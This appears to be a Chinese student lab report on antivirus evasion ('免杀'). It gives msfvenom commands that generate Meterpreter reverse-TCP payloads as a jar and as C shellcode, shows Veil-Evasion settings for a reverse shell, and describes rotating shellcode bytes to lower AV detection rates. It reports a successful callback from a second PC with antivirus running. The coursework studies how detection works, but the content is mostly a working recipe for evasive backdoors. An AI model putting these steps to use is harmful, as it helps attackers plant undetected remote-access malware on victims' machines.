5213 Exp3 免杀原理与实践
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器生成jar包
- 使用指令:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.109 lport=5213 x> 5213_backjar.jar
- 上传扫描的结果:
- 结果似乎还行
- 使用指令:
使用veil-evasion生成反弹链接的可执行文件:
下载安装好veil之后,进入veil依次输入:
- use evasion
- use python/meterpreter/rev_tcp //设置payload
- set LHOST 192.168.1.109 //设置反弹连接IP
- set LPORT 5213 //设置反弹端口5213
- generate //生成
- 5213LZM //程序名
- 1 //默认选项
可是我的出现了这样的问题,不知如何解决,可是根据终端提示,虽然没能生成可执行文件,但是生成了可执行文件的源码,所以,直接使用这个python源码来测试,回链成功:
自己利用shellcode编程等免杀工具或技巧
- 生成Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=443 -f c
- 编写C程序,并运行测试:
在自己的codeblocks上编译运行,360出现了警告,将其添加到信任中即可
运行:
放到网上测试之后的结果只有百分之二十的识别出来了:
- 生成Shellcode:
任务二:通过组合应用各种技术实现恶意代码免杀
- 通过每个字节循环移位,来实现代码的隐藏,实现免杀。
读取每个Shellcode字节,并循环向左移位3位,重新输出整个code,在嵌入的代码里加上循环向右移位3位,而后执行。
运行结果再次成功:
放到网上测试之后的结果只有百分之十及4个杀毒软件库识别出来了:
360木马查杀结果:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
本机用的是奇虎360安全卫士,上图可以看得出来,这个任务我是在室友的电脑上做的,它用的是安全管家:
下图是扫描的结果:
在同连寝室网的环境下,攻击成功:
任务四:基础问题回答
(1)杀软是如何检测出恶意代码的?
* 分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码
(2)免杀是做什么?
* 使恶意代码避免被查杀,也就是要掩盖恶意代码的特征
(3)免杀的基本方法有哪些?
* 免杀大概可以分为两种情况:
1. 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
2. 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
* 免杀也可以分为这两种情况:
1. 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。
2. 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读。
任务五:实践总结与体会
* 要想保证自己的计算机环境安全,不能简单的完全信任杀毒软件,保不齐杀毒软件谦虚了一下,计算机就可能中毒了。
* 离实战还缺些什么技术或步骤?
* 将后门程序注入受害机,以及让其如何自启动。